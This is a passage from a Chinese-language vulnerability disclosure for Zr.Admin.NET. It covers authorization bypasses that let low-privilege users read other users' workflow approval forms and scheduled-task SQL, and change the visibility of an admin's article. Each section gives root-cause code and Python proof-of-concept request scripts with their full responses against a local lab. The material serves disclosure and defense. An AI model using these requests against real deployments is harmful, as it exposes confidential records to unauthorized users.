'Aa123456!')}"} r = requests.put(f"{B}/front/article/changePublic", headers=low, json={"cid": 1, "userId": 2, "isPublic": 1}) print("changePublic ->", r.status_code, r.text.strip()) ``` ``` changePublic -> 200 { "code": 200, "msg": "success", "data": 1 } ``` 再次匿名读取,正文返回: ```python r = requests.get(f"{B}/front/article/1") print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "cid": 1, "title": "Q3 payroll review", "content": "

CFO salary 480000, bank account 6222 0000 1111 2222

", "userId": 1, "status": null, "editorType": null, "tags": null, "hits": 0, "categoryId": 0, "createTime": "2026-11-13 20:52:12", "updateTime": null, "authorName": "admin", "coverUrl": null, "categoryNav": null, "tagList": [], "isPublic": 1, "abstractText": "CFO salary 480000, bank account 6222 0000 1111 2222", "isTop": 0, "articleType": 0, "praiseNum": 0, "commentNum": 0, "shareNum": 0, "coverImgList": [], "position": "Reserved", "isPraise": 0, "topicId": 0, "topicName": null, "user": { "avatar": null, "nickName": "管理员", "sex": 0 }, "auditStatus": 1, "commentSwitch": 0 } } ``` `low1` 随后把这篇属于管理员的文章置顶: ```python r = requests.put(f"{B}/front/article/top", headers=low, json={"cid": 1, "isTop": 1}) print("top ->", r.status_code, r.text.strip()) ``` ``` top -> 200 { "code": 200, "msg": "success", "data": 1 } ``` ## 4. 越权读取其他人的审批单 (CVE-2026-129454) 简要描述:拥有账号的用户可以越权读取其他人的审批单,包括表单内容与审批记录。 影响版本:85cff6ae(2026-08-01)至 eb9228a2(2026-10-22) 漏洞引入:[Zr.Admin.NET commit 85cff6ae](https://github.com/izhaorui/Zr.Admin.NET/commit/85cff6ae22389c241d3a4efe178273966650f7ca) 前置条件:目标实例中存在其他人发起的审批单。 ### 漏洞成因 `WfFlowInstanceController.GetInfo` 只标了 `common`: ```csharp // ZR.Workflow/Controllers/WfFlowInstanceController.cs:48-58 commit eb9228a230 /// /// 实例详情 /// [HttpGet("{instanceId}")] [ActionPermissionFilter(Permission = "common")] public IActionResult GetInfo(long instanceId) { // viewerId=当前登录用户,用于详情页按节点字段权限过滤表单(申请人/历史实例全放开) var viewerId = HttpContext.GetUId(); return SUCCESS(_service.GetInfo(instanceId, viewerId)); } ``` Service 按 `InstanceId` 取出实例,`viewerId` 只用于字段遮罩,不参与能否查看的判断: ```csharp // ZR.Workflow/Service/WfFlowInstanceService.cs:173-176 commit eb9228a230 public WfFlowInstanceDto GetInfo(long instanceId, long? viewerId = null) { var inst = Queryable().First(i => i.InstanceId == instanceId); if (inst == null) return null; ``` `ApplyFieldPermission` 只决定字段是否只读或隐藏,不判断查看者是否有权打开该实例。实例不处于审批中时放开全部字段;处于审批中且当前节点未配置字段权限时,同样把 `AllEditable` 置为 true(`WfFlowInstanceService.cs:488-493`、`:531-537`)。该方法的部分实现如下: ```csharp // ZR.Workflow/Service/WfFlowInstanceService.cs:475-493 commit eb9228a230 private void ApplyFieldPermission(WfFlowInstanceDto dto, WfFlowInstance inst, long? viewerId) { if (inst == null || dto == null) return; var view = new WfFieldPermissionView(); // 申请人本人 → 可编辑全部字段 if (viewerId.HasValue && inst.ApplyUserId.HasValue && inst.ApplyUserId.Value == viewerId.Value) { view.AllEditable = true; dto.FieldPermissionView = view; return; } // 非审批中实例 / 未传入查看者 → 历史直接放开(全可见只读) if (!viewerId.HasValue || inst.Status != (int)WfInstanceStatus.Approval) { dto.FieldPermissionView = view; return; } ``` 实例编号为自增主键,可顺序枚举。 ### 复现环境搭建 沿用第 1 节的实验环境。workflow 模块已由 `ModuleInit:Workflow` 启用,每次复现前执行 `docker compose down -v` 清空数据卷,再按第 1 节重新初始化。 ### 复现过程 管理员创建流程定义并发起一张审批单: ```python import json, requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} flow = {"flowCode": "expense", "flowName": "Expense approval", "formType": 0, "designType": 2, "status": 1, "isDraft": 0, "formItems": json.dumps([{"field": "reason", "label": "Reason", "type": "input"}, {"field": "account", "label": "Bank account", "type": "input"}]), "nodes": [{"nodeName": "Start", "nodeType": 0, "nodeOrder": 1}, {"nodeName": "Approve", "nodeType": 1, "approverType": 0, "approverId": "1", "approverNames": "admin", "signType": 0, "nodeOrder": 2}, {"nodeName": "End", "nodeType": 3, "nodeOrder": 3}], "nodeLinks": [{"sourceNodeId": 1, "targetNodeId": 2}, {"sourceNodeId": 2, "targetNodeId": 3}]} r = requests.post(f"{B}/workflow/definition", headers=admin, json=flow) print("admin POST /workflow/definition ->", r.status_code, r.json()["code"]) flows = requests.get(f"{B}/workflow/definition/list", headers=admin, params={"pageNum": 1, "pageSize": 10}).json()["data"]["result"] fid = [f["flowId"] for f in flows if f["flowCode"] == "expense"][0] r = requests.post(f"{B}/workflow/instance/start", headers=admin, json={ "flowId": fid, "title": "Executive reimbursement", "formContent": json.dumps({"reason": "Board trip", "account": "6222 0000 1111 2222, password 9911"})}) print("admin POST /workflow/instance/start -> instanceId =", r.json()["data"]) ``` 输出如下: ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImZmNTU1ZjQyYTQ3ZTQwMzZiMzIxNjBjYjY5OGExMTg2XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzNzMsImV4cCI6MTc5NDY2MDc3MywiaWF0IjoxNzk0NTc0MzczLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.3DvU0I6XbLCeozY7gSYbPySv65FveQ7UTb5dU609Dnk low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNTVjNzYwYTBhZDk0NGRlYWE5MzI2ZTFjZDZmZDI5MWRcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0Mzc0LCJleHAiOjE3OTQ2NjA3NzQsImlhdCI6MTc5NDU3NDM3NCwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.aZlZJx-feWQMO4BWEVYDVajPsW1W9gsgifHngyjhuno admin POST /workflow/definition -> 200 200 success admin POST /workflow/instance/start -> instanceId = 1 ``` `low1` 读取该实例: ```python low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/workflow/instance/1", headers=low) print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "instanceId": 1, "flowId": 1, "flowName": "Expense approval", "businessKey": null, "title": "Executive reimbursement", "applyUser": "admin", "applyNickName": "管理员", "status": 0, "currentNodeId": 2, "currentNodeIds": "[2]", "currentNodeName": "Approve", "approvers": null, "formContent": "{\"reason\": \"Board trip\", \"account\": \"6222 0000 1111 2222, password 9911\"}", "fieldPermissionView": { "allEditable": true, "readonlyFields": [], "hiddenFields": [] }, "attachment": null, "attachmentParsed": "[]", "lastUrgeTime": null, "tasks": [ { "taskId": 1, "instanceId": 1, "nodeId": 2, "nodeName": "Approve", "assignee": "admin", "assigneeNickName": "管理员", "assigneeId": 1, "delegateId": null, "delegateName": null, "status": 0, "opinion": null, "action": null, "taskType": 0, "isRead": false, "handleTime": null, "title": null, "applyUser": null, "applyNickName": null, "flowName": null, "instanceStatus": 0, "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "records": [ { "recordId": 1, "taskId": null, "instanceId": 1, "nodeId": null, "nodeName": null, "title": null, "flowName": null, "applyUser": null, "applyNickName": null, "instanceStatus": 0, "operator": "admin", "operatorNickName": "管理员", "action": 0, "isRead": false, "opinion": "发起申请", "summary": null, "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } } ``` `low1` 还能读取审批流水列表: ```python r = requests.get(f"{B}/workflow/record/list", headers=low, params={"pageNum": 1, "pageSize": 5}) print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "pageSize": 5, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "recordId": 1, "taskId": null, "instanceId": 1, "nodeId": null, "nodeName": null, "title": "Executive reimbursement", "flowName": "Expense approval", "applyUser": "admin", "applyNickName": "管理员", "instanceStatus": 0, "operator": "admin", "operatorNickName": "管理员", "action": 0, "isRead": false, "opinion": "发起申请", "summary": null, "createBy": null, "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "extra": {} } } ``` ## 5. 越权读取计划任务配置 (CVE-2026-129466) 简要描述:拥有账号的用户可以读取计划任务的完整配置,包括 SQL 任务里存放的语句。 影响版本:1845017b(2021-08-23)至 eb9228a2(2026-10-22) 漏洞引入:[Zr.Admin.NET commit 1845017b](https://github.com/izhaorui/Zr.Admin.NET/commit/1845017b67b3de3d12fad0238f5493235f70a93d) 前置条件:攻击者拥有一个账号。 ### 漏洞成因 `TasksController.Get` 没有 `[ActionPermissionFilter]`,登录之后即可调用: ```csharp // ZR.Admin.WebApi/Controllers/System/TasksController.cs:147-156 commit eb9228a230 /// /// 查询单个计划任务 /// /// 编码 /// [HttpGet("get")] public IActionResult Get(string id) { if (!string.IsNullOrEmpty(id)) { return SUCCESS(GetTaskById(id)); } return SUCCESS(0); } ``` 同文件的列表、新增、修改、删除、执行动作都标了 `monitor:job:*` 权限(`TasksController.cs:127`、`:164`、`:205`、`:250`、`:327`),`Get` 是遗漏。`GetTaskById` 返回整行 `SysTasks`,字段包含 `AssemblyName`、`ClassName`、`Cron`、`SqlText`、`JobParams`。 ### 复现环境搭建 沿用第 1 节的实验环境。每次复现前执行 `docker compose down -v` 清空数据卷,再按第 1 节重新初始化。 ### 复现过程 管理员创建一个 SQL 类型的计划任务并运行: ```python import requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} r = requests.post(f"{B}/system/Tasks/create", headers=admin, json={ "name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "taskType": 3, "assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute", "sqlText": "select UserName,Password from sys_user where UserId=1"}) print("admin POST /system/Tasks/create ->", r.status_code, r.text.strip()) tasks = requests.get(f"{B}/system/Tasks/list", headers=admin, params={"pageNum": 1, "pageSize": 20}).json()["data"]["result"] tid = [t["id"] for t in tasks if t["name"] == "nightly-report"][0] print("task id =", tid) r = requests.get(f"{B}/system/Tasks/run", headers=admin, params={"id": tid}) print("admin GET /system/Tasks/run ->", r.status_code, r.text.strip()) ``` ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjQ5ZGQ3ODEyYjcyNTQzNmViY2M2NzkzZmU3NTIxYzcyXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ2NDI2NDUsImV4cCI6MTc5NDcyOTA0NSwiaWF0IjoxNzk0NjQyNjQ1LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.ule4XLd4hhfh5UvH2A6LaHYZieJCAMqp7sfimzREn_c low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNjQ2ZDJlOThhMGI1NGIyYWE3Y2E1NzMxNzAyZjE2NGZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NjQyNjQ2LCJleHAiOjE3OTQ3MjkwNDYsImlhdCI6MTc5NDY0MjY0NiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.8yNMns8KT4WIzTzP9BCc-rDwIzonPHUdtuEz7uGwGmY admin POST /system/Tasks/create -> 200 { "code": 200, "msg": "success", "data": 1 } task id = 2121511140147204096 admin GET /system/Tasks/run -> 200 { "code": 200, "msg": "运行计划任务:【nightly-report】成功" } ``` `low1` 可以通过 `GET /monitor/jobLog/list` 读出任务 id: ```python time.sleep(3) low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/monitor/jobLog/list", headers=low, params={"pageNum": 1, "pageSize": 1}) print(r.status_code, r.text) ``` ``` low1 GET /monitor/jobLog/list -> 200 { "code": 200, "msg": "success", "data": { "pageSize": 1, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "jobLogId": 1, "jobId": "2121511140147204096", "jobName": "nightly-report", "jobGroup": "default", "status": "0", "exception": null, "jobMessage": "success", "invokeTarget": "SqlExecute", "tenantId": "0", "createTime": "2026-11-14 15:50:47", "elapsed": 11.9025, "serverName": null, "operator": "admin", "traceId": "0HNQ24FTTQPDN:00000001", "isManual": 1, "triggerSource": "manual" } ], "extra": {} } } ``` `low1` 按任务编号读取详情: ```python low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/system/Tasks/get", headers=low, params={"id": "2121511140147204096"}) print(r.status_code, r.text) ``` ``` low1 GET /system/Tasks/get -> 200 { "code": 200, "msg": "success", "data": { "id": "2121511140147204096", "name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute", "runTimes": 1, "beginTime": null, "endTime": null, "triggerType": 0, "intervalSecond": 0, "isStart": 0, "jobParams": null, "lastRunTime": "2026-11-14 15:50:47", "lastSuccessTime": "2026-11-14 15:50:47", "lastFailTime": null, "lastRunStatus": "0", "lastErrorMsg": null, "tenantId": "0", "apiUrl": null, "taskType": 3, "sqlText": "select UserName,Password from sys_user where UserId=1", "requestMethod": null, "createBy": "admin", "createTime": "2026-11-14 07:50:46", "updateTime": "2026-11-14 07:50:47", "remark": null } } ```